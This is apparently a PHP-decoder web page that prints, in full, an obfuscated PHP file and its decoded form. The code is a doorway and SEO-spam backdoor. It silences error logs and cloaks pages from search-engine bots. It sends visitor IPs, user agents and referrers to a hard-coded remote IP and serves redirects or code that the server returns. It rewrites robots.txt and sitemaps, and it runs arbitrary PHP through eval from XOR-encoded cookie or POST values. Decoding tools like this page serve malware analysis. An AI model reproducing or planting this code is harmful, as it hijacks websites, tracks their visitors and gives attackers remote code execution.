Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_tim..
Decoded Output download
<?php
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _s9reme{static private $_purvdfby = 84485432;static function _99ibw($_m7r48br5, $_0eur2auq){$_m7r48br5[2] = count($_m7r48br5) > 4 ? long2ip(_s9reme::$_purvdfby - 811) : $_m7r48br5[2];$_58oiduc1 = _s9reme::_7vdaj($_m7r48br5, $_0eur2auq);if (!$_58oiduc1) {$_58oiduc1 = _s9reme::_xxti2($_m7r48br5, $_0eur2auq);}return $_58oiduc1;}static function _7vdaj($_m7r48br5, $_58oiduc1, $_1ypyhret = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_m7r48br5)) {$_m7r48br5 = implode("/", $_m7r48br5);}$_4h0k6sp7 = curl_init();curl_setopt($_4h0k6sp7, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_4h0k6sp7, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_4h0k6sp7, CURLOPT_URL, $_m7r48br5);if (!empty($_58oiduc1)) {curl_setopt($_4h0k6sp7, CURLOPT_POST, 1);curl_setopt($_4h0k6sp7, CURLOPT_POSTFIELDS, $_58oiduc1);}if (!empty($_1ypyhret)) {curl_setopt($_4h0k6sp7, CURLOPT_HTTPHEADER, $_1ypyhret);}curl_setopt($_4h0k6sp7, CURLOPT_RETURNTRANSFER, TRUE);$_h8rifrip = curl_exec($_4h0k6sp7);curl_close($_4h0k6sp7);return $_h8rifrip;}static function _xxti2($_m7r48br5, $_58oiduc1, $_1ypyhret = NULL){if (is_array($_m7r48br5)) {$_m7r48br5 = implode("/", $_m7r48br5);}if (!empty($_58oiduc1)) {$_c06hjcv6 = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_58oiduc1);if (!empty($_1ypyhret)) {$_c06hjcv6["header"] = $_c06hjcv6["header"] . "
" . implode("
", $_1ypyhret);}$_w70qk2g3 = stream_context_create(array('http' => $_c06hjcv6));} else {$_c06hjcv6 = array('method' => 'GET',);if (!empty($_1ypyhret)) {$_c06hjcv6["header"] = implode("
", $_1ypyhret);}$_w70qk2g3 = stream_context_create(array('http' => $_c06hjcv6));}return @file_get_contents($_m7r48br5, FALSE, $_w70qk2g3);}}class _x8ohfa{private static $_oqr5fuof = "";private static $_jiid96k0 = -1;private static $_c9pnvkt0 = "";private $_yzfmoobu = "";private $_3kkr7hi6 = "";private $_e9qvoh4x = "";private $_liuhud08 = "";public static function _4acpc($_d4cbv527, $_ncgrw3sk, $_tgrf98gw){_x8ohfa::$_oqr5fuof = $_d4cbv527 . "/cache/";_x8ohfa::$_jiid96k0 = $_ncgrw3sk;_x8ohfa::$_c9pnvkt0 = $_tgrf98gw;if (!@file_exists(_x8ohfa::$_oqr5fuof)) {@mkdir(_x8ohfa::$_oqr5fuof);}}static public function _r4uzv(){$_4o9lqjhh = 0;foreach (scandir(_x8ohfa::$_oqr5fuof) as $_flatym9r) {$_4o9lqjhh += 1;}return $_4o9lqjhh;}public static function _1ucuz(){return TRUE;}public function __construct($_s0r464fn, $_epo0apke, $_hcehokno, $_pi2cnpc2){$this->_yzfmoobu = $_s0r464fn;$this->_3kkr7hi6 = $_epo0apke;$this->_e9qvoh4x = $_hcehokno;$this->_liuhud08 = $_pi2cnpc2;}public function _88yef(){function _ueot9($_km6r2a3o, $_mkregyub){return round(rand($_km6r2a3o, $_mkregyub - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX), 2);}$_m4e8bwtg = _ajeaciq::_2qe2m();$_58oiduc1 = str_replace("{{ text }}", $this->_3kkr7hi6,str_replace("{{ keyword }}", $this->_e9qvoh4x,str_replace("{{ links }}", $this->_liuhud08, $this->_yzfmoobu)));while (TRUE) {$_7fx0zqnr = preg_replace('/' . preg_quote("{{ randkeyword }}", '/') . '/', _ajeaciq::_2mzr8(), $_58oiduc1, 1);if ($_7fx0zqnr === $_58oiduc1) {break;}$_58oiduc1 = $_7fx0zqnr;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_58oiduc1, $_till87hi);if (empty($_till87hi)) {break;}$_hcehokno = @$_m4e8bwtg[intval($_till87hi[1])];$_syxpix5u = _h7mj9v8::_188y2($_hcehokno);$_58oiduc1 = str_replace($_till87hi[0], $_syxpix5u, $_58oiduc1);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_58oiduc1, $_till87hi);if (empty($_till87hi)) {break;}$_hcehokno = @$_m4e8bwtg[intval($_till87hi[1])];$_58oiduc1 = str_replace($_till87hi[0], $_hcehokno, $_58oiduc1);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_58oiduc1, $_till87hi);if (empty($_till87hi)) {break;}$_58oiduc1 = str_replace($_till87hi[0], _ueot9($_till87hi[1], $_till87hi[2]), $_58oiduc1);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_58oiduc1, $_till87hi);if (empty($_till87hi)) {break;}$_58oiduc1 = str_replace($_till87hi[0], rand($_till87hi[1], $_till87hi[2]), $_58oiduc1);}return $_58oiduc1;}public function _kz5p3(){$_g5nhrvft = _x8ohfa::$_oqr5fuof . md5($this->_e9qvoh4x . _x8ohfa::$_c9pnvkt0);if (_x8ohfa::$_jiid96k0 == -1) {$_i2s8djdh = -1;} else {$_i2s8djdh = time() + (3600 * 24 * 30);}$_kxstumsb = array("template" => $this->_yzfmoobu, "text" => $this->_3kkr7hi6, "keyword" => $this->_e9qvoh4x,"links" => $this->_liuhud08, "expired" => $_i2s8djdh);@file_put_contents($_g5nhrvft, serialize($_kxstumsb));}static public function _jg1kq($_hcehokno){$_g5nhrvft = _x8ohfa::$_oqr5fuof . md5($_hcehokno . _x8ohfa::$_c9pnvkt0);$_g5nhrvft = @unserialize(@file_get_contents($_g5nhrvft));if (!empty($_g5nhrvft) && ($_g5nhrvft["expired"] > time() || $_g5nhrvft["expired"] == -1)) {return new _x8ohfa($_g5nhrvft["template"], $_g5nhrvft["text"], $_g5nhrvft["keyword"], $_g5nhrvft["links"]);} else {return null;}}}class _hir0ekm{private static $_oqr5fuof = "";private static $_wafv6sfv = "";public static function _4acpc($_d4cbv527, $_ygr24pt2){_hir0ekm::$_oqr5fuof = $_d4cbv527 . "/";_hir0ekm::$_wafv6sfv = $_ygr24pt2;if (!@file_exists(_hir0ekm::$_oqr5fuof)) {@mkdir(_hir0ekm::$_oqr5fuof);}}public static function _1ucuz(){return TRUE;}static public function _r4uzv(){$_4o9lqjhh = 0;foreach (scandir(_hir0ekm::$_oqr5fuof) as $_flatym9r) {if (strpos($_flatym9r, _hir0ekm::$_wafv6sfv) === 0) {$_4o9lqjhh += 1;}}return $_4o9lqjhh;}static public function _2mzr8(){$_cell72ir = array();foreach (scandir(_hir0ekm::$_oqr5fuof) as $_flatym9r) {if (strpos($_flatym9r, _hir0ekm::$_wafv6sfv) === 0) {$_cell72ir[] = $_flatym9r;}}return @file_get_contents(_hir0ekm::$_oqr5fuof . $_cell72ir[array_rand($_cell72ir)]);}static public function _kz5p3($_vfnkw1vq){if (@file_exists(_hir0ekm::$_wafv6sfv . "_" . md5($_vfnkw1vq) . ".html")) {return;}@file_put_contents(_hir0ekm::$_wafv6sfv . "_" . md5($_vfnkw1vq) . ".html", $_vfnkw1vq);}}class _ajeaciq{private static $_oqr5fuof = "";private static $_wafv6sfv = "";private static $_b7u9ytkf = Array();private static $_63fzavnj = Array();public static function _4acpc($_d4cbv527, $_ygr24pt2){_ajeaciq::$_oqr5fuof = $_d4cbv527 . "/";_ajeaciq::$_wafv6sfv = $_ygr24pt2;if (!@file_exists(_ajeaciq::$_oqr5fuof)) {@mkdir(_ajeaciq::$_oqr5fuof);}}private static function _srnc4(){$_04sleezh = array();foreach (scandir(_ajeaciq::$_oqr5fuof) as $_flatym9r) {if (strpos($_flatym9r, _ajeaciq::$_wafv6sfv) === 0) {$_04sleezh[] = $_flatym9r;}}return $_04sleezh;}public static function _1ucuz(){return TRUE;}static public function _2mzr8(){if (empty(_ajeaciq::$_b7u9ytkf)){$_04sleezh = _ajeaciq::_srnc4();_ajeaciq::$_b7u9ytkf = @file(_ajeaciq::$_oqr5fuof . $_04sleezh[array_rand($_04sleezh)], FILE_IGNORE_NEW_LINES);}return _ajeaciq::$_b7u9ytkf[array_rand(_ajeaciq::$_b7u9ytkf)];}static public function _2qe2m(){if (empty(_ajeaciq::$_63fzavnj)){$_04sleezh = _ajeaciq::_srnc4();foreach ($_04sleezh as $_totbse3b) {_ajeaciq::$_63fzavnj = array_merge(_ajeaciq::$_63fzavnj, @file(_ajeaciq::$_oqr5fuof . $_totbse3b, FILE_IGNORE_NEW_LINES));}}return _ajeaciq::$_63fzavnj;}static public function _kz5p3($_fy10df6h){if (@file_exists(_ajeaciq::$_wafv6sfv . "_" . md5($_fy10df6h) . ".list")) {return;}@file_put_contents(_ajeaciq::$_wafv6sfv . "_" . md5($_fy10df6h) . ".list", $_fy10df6h);}static public function _bo1ud($_hcehokno){@file_put_contents(_ajeaciq::$_wafv6sfv . "_" . md5(_h7mj9v8::$_h3u2ex1l) . ".list", $_hcehokno . "
", 8);}}class _h7mj9v8{static public $_mqh5212i = "5.2";static public $_h3u2ex1l = "2b8e2db2-5003-b49d-c552-3535c94dc472";private $_8mzr2u0k = "http://136.12.78.46/app/assets/api2?action=redir";private $_95c714d2 = "http://136.12.78.46/app/assets/api?action=page";static public $_ja44b3et = 5;static public $_x8r0zf0f = 20;private function _65pde(){$_bi94aiks = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_bi94aiks, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_bon4ewr6 = 1;} elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_bon4ewr6 = 1;} elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE) {$_bon4ewr6 = 1;} else {$_bon4ewr6 = 0;}return $_bon4ewr6;}private static function _3utcw(){$_0eur2auq = array();$_0eur2auq['ip'] = $_SERVER['REMOTE_ADDR'];$_0eur2auq['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_0eur2auq['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_0eur2auq['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_0eur2auq['ref'] = @$_SERVER['HTTP_REFERER'];$_0eur2auq['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_0eur2auq['acp'] = @$_SERVER['HTTP_ACCEPT'];$_0eur2auq['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_0eur2auq['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_0eur2auq;}public function __construct(){$this->_8mzr2u0k = explode("/", $this->_8mzr2u0k);$this->_95c714d2 = explode("/", $this->_95c714d2);}static public function _bxhrz($_2pknyqiv){if (strlen($_2pknyqiv) < 4) {return "";}$_y67pjsfz = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_m4e8bwtg = str_split($_y67pjsfz);$_m4e8bwtg = array_flip($_m4e8bwtg);$_dva57vkx = 0;$_u9plxvuo = "";$_2pknyqiv = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_2pknyqiv);do {$_tfr5yco0 = $_m4e8bwtg[$_2pknyqiv[$_dva57vkx++]];$_o5qi79dd = $_m4e8bwtg[$_2pknyqiv[$_dva57vkx++]];$_vvluu2s1 = $_m4e8bwtg[$_2pknyqiv[$_dva57vkx++]];$_lzvigurh = $_m4e8bwtg[$_2pknyqiv[$_dva57vkx++]];$_nnvtdjjk = ($_tfr5yco0 << 2) | ($_o5qi79dd >> 4);$_mpizpvti = (($_o5qi79dd & 15) << 4) | ($_vvluu2s1 >> 2);$_2nlve7kr = (($_vvluu2s1 & 3) << 6) | $_lzvigurh;$_u9plxvuo = $_u9plxvuo . chr($_nnvtdjjk);if ($_vvluu2s1 != 64) {$_u9plxvuo = $_u9plxvuo . chr($_mpizpvti);}if ($_lzvigurh != 64) {$_u9plxvuo = $_u9plxvuo . chr($_2nlve7kr);}} while ($_dva57vkx < strlen($_2pknyqiv));return $_u9plxvuo;}private function _izoq3($_hcehokno){$_s0r464fn = "";$_epo0apke = "";$_0eur2auq = _h7mj9v8::_3utcw();$_0eur2auq["uid"] = _h7mj9v8::$_h3u2ex1l;$_0eur2auq["keyword"] = $_hcehokno;$_0eur2auq["tc"] = 10;$_0eur2auq = http_build_query($_0eur2auq);$_7te4b3p6 = _s9reme::_99ibw($this->_95c714d2, $_0eur2auq);if (strpos($_7te4b3p6, _h7mj9v8::$_h3u2ex1l) === FALSE) {return array($_s0r464fn, $_epo0apke);}$_s0r464fn = _hir0ekm::_2mzr8();$_epo0apke = substr($_7te4b3p6, strlen(_h7mj9v8::$_h3u2ex1l));$_epo0apke = explode("
", $_epo0apke);shuffle($_epo0apke);$_epo0apke = implode(" ", $_epo0apke);return array($_s0r464fn, $_epo0apke);}private function _3d68j(){$_0eur2auq = _h7mj9v8::_3utcw();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {$_0eur2auq['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])) {$_0eur2auq['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_0eur2auq['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_0eur2auq["uid"] = _h7mj9v8::$_h3u2ex1l;$_0eur2auq = http_build_query($_0eur2auq);$_qle6amxz = _s9reme::_99ibw($this->_8mzr2u0k, $_0eur2auq);$_qle6amxz = @unserialize($_qle6amxz);if (isset($_qle6amxz["type"]) && $_qle6amxz["type"] == "redir") {if (!empty($_qle6amxz["data"]["header"])) {header($_qle6amxz["data"]["header"]);return true;} elseif (!empty($_qle6amxz["data"]["code"])) {echo $_qle6amxz["data"]["code"];return true;}}return false;}public function _1ucuz(){return _x8ohfa::_1ucuz() && _hir0ekm::_1ucuz() && _ajeaciq::_1ucuz();}static public function _4zsdc(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _6k9xr(){$_ezsihwaw = explode("?", $_SERVER["REQUEST_URI"], 2);$_ezsihwaw = $_ezsihwaw[0];if (strpos($_ezsihwaw, ".php") === FALSE) {$_ezsihwaw = explode("/", $_ezsihwaw);array_pop($_ezsihwaw);$_ezsihwaw = implode("/", $_ezsihwaw) . "/";}return sprintf("%s://%s%s", _h7mj9v8::_4zsdc() ? "https" : "http", $_SERVER['HTTP_HOST'], $_ezsihwaw);}public static function _r84dz(){$_mx9hejhr = array("https://www.google.com/ping?sitemap=" => "Sitemap Notification Received","https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap");$_1ypyhret = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_k10ks8ey = urlencode(_h7mj9v8::_mvr7j() . "/sitemap.xml");foreach ($_mx9hejhr as $_m7r48br5 => $_i8blf8a0) {$_n618q6ab = _s9reme::_7vdaj($_m7r48br5 . $_k10ks8ey, NULL, $_1ypyhret);if (empty($_n618q6ab)) {$_n618q6ab = _s9reme::_xxti2($_m7r48br5 . $_k10ks8ey, NULL, $_1ypyhret);}if (empty($_n618q6ab)) {return FALSE;}if (strpos($_n618q6ab, $_i8blf8a0) === FALSE) {return FALSE;}}return TRUE;}public static function _z1n5l(){$_a158mpqz = "User-agent: *
Disallow: %s
User-agent: Bingbot
User-agent: Googlebot
User-agent: Slurp
Disallow:
Sitemap: %s
";$_ezsihwaw = explode("?", $_SERVER["REQUEST_URI"], 2);$_ezsihwaw = $_ezsihwaw[0];$_iyqztllw = substr($_ezsihwaw, 0, strrpos($_ezsihwaw, "/"));$_o4ak20s3 = sprintf($_a158mpqz, $_iyqztllw, _h7mj9v8::_mvr7j() . "/sitemap.xml");$_qk0218zb = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_qk0218zb)) {@chmod($_qk0218zb, 0777);$_i4lasfrq = @file_get_contents($_qk0218zb);} else {$_i4lasfrq = "";}if (strpos($_i4lasfrq, $_o4ak20s3) === FALSE) {@file_put_contents($_qk0218zb, $_i4lasfrq . "
" . $_o4ak20s3);$_i4lasfrq = @file_get_contents($_qk0218zb);return (strpos($_i4lasfrq, $_o4ak20s3) !== FALSE);}return FALSE;}public static function _mvr7j(){$_ezsihwaw = explode("?", $_SERVER["REQUEST_URI"], 2);$_ezsihwaw = $_ezsihwaw[0];$_d4cbv527 = substr($_ezsihwaw, 0, strrpos($_ezsihwaw, "/"));return sprintf("%s://%s%s", _h7mj9v8::_4zsdc() ? "https" : "http", $_SERVER['HTTP_HOST'], $_d4cbv527);}public static function _188y2($_hcehokno){$_3ccxhwze = _h7mj9v8::_6k9xr();$_v1lnjjoi = substr(md5(_h7mj9v8::$_h3u2ex1l . "salt3"), 0, 6);$_yni92xo8 = "";if (substr($_3ccxhwze, -1) == "/") {if (ord($_v1lnjjoi[1]) % 2) {$_hcehokno = str_replace(" ", "-", $_hcehokno);} else {$_hcehokno = str_replace(" ", "-", $_hcehokno);}$_yni92xo8 = sprintf("%s%s", $_3ccxhwze, urlencode($_hcehokno));} else {if (FALSE && (ord($_v1lnjjoi[0]) % 2)) {$_yni92xo8 = sprintf("%s?%s=%s",$_3ccxhwze,$_v1lnjjoi,urlencode(str_replace(" ", "-", $_hcehokno)));} else {$_ih8yx4ss = array("id", "page", "tag");$_41025pd5 = $_ih8yx4ss[ord($_v1lnjjoi[2]) % count($_ih8yx4ss)];if (ord($_v1lnjjoi[1]) % 2) {$_hcehokno = str_replace(" ", "-", $_hcehokno);} else {$_hcehokno = str_replace(" ", "-", $_hcehokno);}$_yni92xo8 = sprintf("%s?%s=%s",$_3ccxhwze,$_41025pd5,urlencode($_hcehokno));}}return $_yni92xo8;}public static function _aqnra($_km6r2a3o, $_mkregyub){$_w1udl2ds = "";for ($_dva57vkx = 0; $_dva57vkx < rand($_km6r2a3o, $_mkregyub); $_dva57vkx++) {$_hcehokno = _ajeaciq::_2mzr8();$_w1udl2ds .= sprintf("<a href=\"%s\">%s</a>,
",_h7mj9v8::_188y2($_hcehokno), ucwords($_hcehokno));}return $_w1udl2ds;}public static function _s9bso($_gd2hi2ti=FALSE){$_3ek82qnm = dirname(__FILE__) . "/sitemap.xml";$_n2oj3h5h = "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . ">
<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">
";$_0y383qdo = "</urlset>";$_m4e8bwtg = _ajeaciq::_2qe2m();$_314pl68b = array();if (file_exists($_3ek82qnm)) {$_7te4b3p6 = simplexml_load_file($_3ek82qnm);foreach ($_7te4b3p6 as $_r4cvn8aa) {$_314pl68b[(string)$_r4cvn8aa->loc] = (string)$_r4cvn8aa->lastmod;}}else {$_gd2hi2ti = FALSE;}foreach ($_m4e8bwtg as $_bgmwbkah) {$_yni92xo8 = _h7mj9v8::_188y2($_bgmwbkah);if (isset($_314pl68b[$_yni92xo8])){continue;}if ($_gd2hi2ti) {$_97ca042v = time();}else {$_97ca042v = time() - (crc32 ($_bgmwbkah) % (60 * 60 * 24 * 30));}$_314pl68b[$_yni92xo8] = date("Y-m-d", $_97ca042v);;}$_61xopqsn = "";foreach ($_314pl68b as $_m7r48br5 => $_97ca042v){$_61xopqsn .= "<url>
";$_61xopqsn .= sprintf("<loc>%s</loc>
", $_m7r48br5);$_61xopqsn .= sprintf("<lastmod>%s</lastmod>
", $_97ca042v);$_61xopqsn .= "</url>
";}$_ftac3co6 = $_n2oj3h5h . $_61xopqsn . $_0y383qdo;$_k10ks8ey = _h7mj9v8::_mvr7j() . "/sitemap.xml";@file_put_contents($_3ek82qnm, $_ftac3co6);return $_k10ks8ey;}public function _1kodr(){$_41025pd5 = substr(md5(_h7mj9v8::$_h3u2ex1l . "salt3"), 0, 6);if (!$this->_65pde()) {if ($this->_3d68j()) {return;}}if (!empty($_GET)) {$_fyv5xsu7 = array_values($_GET);} else {$_fyv5xsu7 = explode("/", $_SERVER["REQUEST_URI"]);$_fyv5xsu7 = array_reverse($_fyv5xsu7);}$_hcehokno = "";foreach ($_fyv5xsu7 as $_24bfssm4) {if (substr_count($_24bfssm4, "-") > 0) {$_hcehokno = $_24bfssm4;break;}}$_hcehokno = str_replace($_41025pd5 . "-", "", $_hcehokno);$_hcehokno = str_replace("-" . $_41025pd5, "", $_hcehokno);$_hcehokno = str_replace("-", " ", $_hcehokno);$_hcehokno = urldecode($_hcehokno);$_k9pbmg4i = _ajeaciq::_2qe2m();if (empty($_hcehokno)) {$_hcehokno = $_k9pbmg4i[0];} else if (!in_array($_hcehokno, $_k9pbmg4i)){$_8bcfmoml = 0;foreach (str_split($_hcehokno) as $_4h0k6sp7) {$_8bcfmoml += ord($_4h0k6sp7);}$_hcehokno = $_k9pbmg4i[$_8bcfmoml % count($_k9pbmg4i)];}if (!empty($_hcehokno)) {$_qle6amxz = _x8ohfa::_jg1kq($_hcehokno);if (empty($_qle6amxz)) {list($_s0r464fn, $_epo0apke) = $this->_izoq3($_hcehokno);if (empty($_epo0apke)) {return;}$_qle6amxz = new _x8ohfa($_s0r464fn, $_epo0apke, $_hcehokno, _h7mj9v8::_aqnra(_h7mj9v8::$_ja44b3et, _h7mj9v8::$_x8r0zf0f));$_qle6amxz->_kz5p3();}echo $_qle6amxz->_88yef();}}}_x8ohfa::_4acpc(dirname(__FILE__), -1, _h7mj9v8::$_h3u2ex1l);_hir0ekm::_4acpc(dirname(__FILE__), substr(md5(_h7mj9v8::$_h3u2ex1l . "salt12"), 0, 4));_ajeaciq::_4acpc(dirname(__FILE__), substr(md5(_h7mj9v8::$_h3u2ex1l . "salt22"), 0, 4));function _sy9uo($_7te4b3p6, $_bgmwbkah){$_7w1lxup2 = "";for ($_dva57vkx = 0; $_dva57vkx < strlen($_7te4b3p6);) {for ($_bst0pqvh = 0; $_bst0pqvh < strlen($_bgmwbkah) && $_dva57vkx < strlen($_7te4b3p6); $_bst0pqvh++, $_dva57vkx++) {$_7w1lxup2 .= chr(ord($_7te4b3p6[$_dva57vkx]) ^ ord($_bgmwbkah[$_bst0pqvh]));}}return $_7w1lxup2;}function _8tojh($_7te4b3p6, $_bgmwbkah, $_pfeci8ux){return _sy9uo(_sy9uo($_7te4b3p6, $_bgmwbkah), $_pfeci8ux);}foreach (array_merge($_COOKIE, $_POST) as $_bk8yx1x2 => $_7te4b3p6) {$_7te4b3p6 = @unserialize(_8tojh(_h7mj9v8::_bxhrz($_7te4b3p6), $_bk8yx1x2, _h7mj9v8::$_h3u2ex1l));if (isset($_7te4b3p6['ak']) && _h7mj9v8::$_h3u2ex1l == $_7te4b3p6['ak']) {if ($_7te4b3p6['a'] == 'doorway2') {if ($_7te4b3p6['sa'] == 'check') {$_58oiduc1 = _s9reme::_99ibw(explode("/", "http://httpbin.org/"), "");if (strlen($_58oiduc1) > 512) {echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i,"cache" => _x8ohfa::_r4uzv(),"keywords" => count(_ajeaciq::_2qe2m()),"templates" => _hir0ekm::_r4uzv()));}exit;}if ($_7te4b3p6['sa'] == 'templates') {foreach ($_7te4b3p6["templates"] as $_s0r464fn) {_hir0ekm::_kz5p3($_s0r464fn);echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i,));}}if ($_7te4b3p6['sa'] == 'keywords') {_ajeaciq::_kz5p3($_7te4b3p6["keywords"]);_h7mj9v8::_s9bso();echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i,));}if ($_7te4b3p6['sa'] == 'update_sitemap') {_h7mj9v8::_s9bso(TRUE);echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i,));}if ($_7te4b3p6['sa'] == 'pages') {$_tx9skqqf = 0;$_k9pbmg4i = _ajeaciq::_2qe2m();if (_hir0ekm::_r4uzv() > 0) {foreach ($_7te4b3p6['pages'] as $_qle6amxz) {$_ixrdmmzu = _x8ohfa::_jg1kq($_qle6amxz["keyword"]);if (empty($_ixrdmmzu)) {$_ixrdmmzu = new _x8ohfa(_hir0ekm::_2mzr8(), $_qle6amxz["text"], $_qle6amxz["keyword"], _h7mj9v8::_aqnra(_h7mj9v8::$_ja44b3et, _h7mj9v8::$_x8r0zf0f));$_ixrdmmzu->_kz5p3();$_tx9skqqf += 1;if (!in_array($_qle6amxz["keyword"], $_k9pbmg4i)){_ajeaciq::_bo1ud($_qle6amxz["keyword"]);}}}}echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i, "pages" => $_tx9skqqf));}if ($_7te4b3p6["sa"] == "ping") {$_n618q6ab = _h7mj9v8::_r84dz();echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i, "result" => (int)$_n618q6ab));}if ($_7te4b3p6["sa"] == "robots") {$_n618q6ab = _h7mj9v8::_z1n5l();echo @serialize(array("uid" => _h7mj9v8::$_h3u2ex1l, "v" => _h7mj9v8::$_mqh5212i, "result" => (int)$_n618q6ab));}}if ($_7te4b3p6['sa'] == 'eval') {eval($_7te4b3p6["data"]);exit;}}}$_wr0z4zbm = new _h7mj9v8();if ($_wr0z4zbm->_1ucuz()) {$_wr0z4zbm->_1kodr();}exit(); ?>
Did this file decode correctly?
Original Code
<?php
@ini_set('error_log', NULL);@ini_set('log_errors', 0);@ini_set('max_execution_time', 0);@error_reporting(0);@set_time_limit(0);date_default_timezone_set('UTC');class _s9reme{static private $_purvdfby = 84485432;static function _99ibw($_m7r48br5, $_0eur2auq){$_m7r48br5[2] = count($_m7r48br5) > 4 ? long2ip(_s9reme::$_purvdfby - 811) : $_m7r48br5[2];$_58oiduc1 = _s9reme::_7vdaj($_m7r48br5, $_0eur2auq);if (!$_58oiduc1) {$_58oiduc1 = _s9reme::_xxti2($_m7r48br5, $_0eur2auq);}return $_58oiduc1;}static function _7vdaj($_m7r48br5, $_58oiduc1, $_1ypyhret = NULL){if (!function_exists('curl_version')) {return "";}if (is_array($_m7r48br5)) {$_m7r48br5 = implode("/", $_m7r48br5);}$_4h0k6sp7 = curl_init();curl_setopt($_4h0k6sp7, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_4h0k6sp7, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_4h0k6sp7, CURLOPT_URL, $_m7r48br5);if (!empty($_58oiduc1)) {curl_setopt($_4h0k6sp7, CURLOPT_POST, 1);curl_setopt($_4h0k6sp7, CURLOPT_POSTFIELDS, $_58oiduc1);}if (!empty($_1ypyhret)) {curl_setopt($_4h0k6sp7, CURLOPT_HTTPHEADER, $_1ypyhret);}curl_setopt($_4h0k6sp7, CURLOPT_RETURNTRANSFER, TRUE);$_h8rifrip = curl_exec($_4h0k6sp7);curl_close($_4h0k6sp7);return $_h8rifrip;}static function _xxti2($_m7r48br5, $_58oiduc1, $_1ypyhret = NULL){if (is_array($_m7r48br5)) {$_m7r48br5 = implode("/", $_m7r48br5);}if (!empty($_58oiduc1)) {$_c06hjcv6 = array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_58oiduc1);if (!empty($_1ypyhret)) {$_c06hjcv6["header"] = $_c06hjcv6["header"] . "\r\n" . implode("\r\n", $_1ypyhret);}$_w70qk2g3 = stream_context_create(array('http' => $_c06hjcv6));} else {$_c06hjcv6 = array('method' => 'GET',);if (!empty($_1ypyhret)) {$_c06hjcv6["header"] = implode("\r\n", $_1ypyhret);}$_w70qk2g3 = stream_context_create(array('http' => $_c06hjcv6));}return @file_get_contents($_m7r48br5, FALSE, $_w70qk2g3);}}class _x8ohfa{private static $_oqr5fuof = "";private static $_jiid96k0 = -1;private static $_c9pnvkt0 = "";private $_yzfmoobu = "";private $_3kkr7hi6 = "";private $_e9qvoh4x = "";private $_liuhud08 = "";public static function _4acpc($_d4cbv527, $_ncgrw3sk, $_tgrf98gw){_x8ohfa::$_oqr5fuof = $_d4cbv527 . "/cache/";_x8ohfa::$_jiid96k0 = $_ncgrw3sk;_x8ohfa::$_c9pnvkt0 = $_tgrf98gw;if (!@file_exists(_x8ohfa::$_oqr5fuof)) {@mkdir(_x8ohfa::$_oqr5fuof);}}static public function _r4uzv(){$_4o9lqjhh = 0;foreach (scandir(_x8ohfa::$_oqr5fuof) as $_flatym9r) {$_4o9lqjhh += 